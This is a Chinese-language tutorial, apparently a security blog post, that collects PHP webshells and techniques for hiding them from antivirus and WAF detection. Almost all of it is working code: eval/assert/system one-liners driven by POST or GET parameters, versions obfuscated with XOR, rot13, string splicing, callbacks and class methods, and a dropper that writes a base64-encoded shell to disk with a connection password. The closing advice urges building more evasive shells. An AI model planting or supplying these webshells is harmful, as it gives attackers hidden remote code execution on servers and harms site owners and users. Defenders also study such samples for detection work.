关于PHP的webshell免杀小结
字数 1087 2025-08-12 11:34:33
PHP Webshell免杀技术全面解析
0X00 基础Webshell与简单免杀
基本一句话木马
<?php eval($_POST['a']); ?>
这是最基础的PHP一句话木马,通过eval函数执行POST参数中的PHP代码。
变种与替代方案
- 抑制错误版本:
<?php @eval($_POST['110']);?>
@符号用于抑制错误信息,增加隐蔽性。
- assert替代eval:
<?php assert($_POST['a']); ?>
assert与eval的区别:
eval:将字符串作为PHP代码执行,字符串必须是完整PHP代码assert:判断表达式是否成立,成立则执行
- GET请求版本:
<pre><body><? @system($_GET["calc"]);?></body></pre>
GET请求适合与命令执行绑定使用。
0X01 字符串免杀技术
1. 异或加密免杀
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=
$$
__;
$_($___[_]);
?>
异或运算原理:两个字符串先转换为二进制,进行异或运算后再转回字符串。
异或生成脚本:
<?php
$test = "abcdefghijklmnopqrstuvwxyz";
for($i=0;$i<strlen($test);$i++){
for($j=0;$j<strlen($test);$j++){
if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '<br>';
}else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '<br>';
}
}
}
?>
2. Base家族加密
<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>
可尝试base16或base32与其他方法结合使用。
3. Rot13加密
<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>
riny是eval的rot13加密形式,可绕过简单正则检测。
4. 字符串拼接
<?php
$k="e"."v"."a"."l";
$k(${"_PO"."ST"} ['110']);
?>
或更复杂的数组结构:
<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>
5. 混淆免杀
<?php
function a() {
return "/*110110110110*/".$_POST['110']."/*110110110110*/";
}
eval(a());
?>
或:
<?php
$a = str_replace("x","","xexaxvxlx");
$a(@$_POST["110"]);
?>
0X02 函数特性免杀
1. 函数替换
可替换的偏门函数:
array_map():将数组元素发送到自定义函数处理array_filter():过滤数组元素array_reduce():发送数组值到自定义函数并返回字符串array_diff_uassoc():比较数组键名和键值- XML处理函数系列:
xml_set_character_data_handler()等
2. 自定义函数绕过
<?php
function aaa($a){ return $a; }
function bbb($b){ return eval($b); }
function post(){ return @$_POST['110'];}
function run(){ return aaa(bbb)(aaa(post)());}
aaa(bbb)(aaa(post)());
?>
3. 回调函数组合
常用回调函数:
array_walk()array_map()filter_var()uasort()uksort()
4. 数组绕过
<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])));
?>
5. 可变变量
<?php
$zeo='miansha';
$$
zeo=$_POST['110'];
eval($miansha);
?>
6. 类方法绕过
<?php
class zeo2 {
public $b ='';
function post(){ return $_POST['x']; }
}
class zeo extends zeo2{
public $code=null;
function __construct(){
$code=parent::post();
assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>
0X03 PHP版本差异免杀
1. 特殊符号引起报错(PHP 5.2)
<?php
\echo 'whoami';
?>
2. 十六进制字符串(PHP 5.3-5.5)
<?php
$s=substr("aabbccsystem","0x6");
$s(whoami);
?>
3. 语法不换行执行命令(PHP 7.3.4)
<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>
0X04 免杀实例
1. 文件写入型
<?php
$file="shell.php";
$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";
file_put_contents($file,base64_decode($shell));
?>
//连接密码110
2. SplPriorityQueue类利用
<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3
免杀技术总结
-
基本原则:
- 混淆和加密是免杀的核心
- 白名单>WAF>黑名单
- 函数名、方法名、类名在PHP中不区分大小写
-
技术组合:
- 多种加密方式组合使用
- 垃圾数据混淆
- 特殊字符和注释干扰
- 传输层面绕过
-
发展趋势:
- 从简单字符串变形到复杂函数调用
- 从单一技术到多技术组合
- 从通用方法到针对特定PHP版本的利用
通过不断研究PHP特性和WAF检测机制,可以开发出更多有效的免杀技术。建议结合实际情况选择合适的技术组合,并注意保持代码的隐蔽性和执行效率。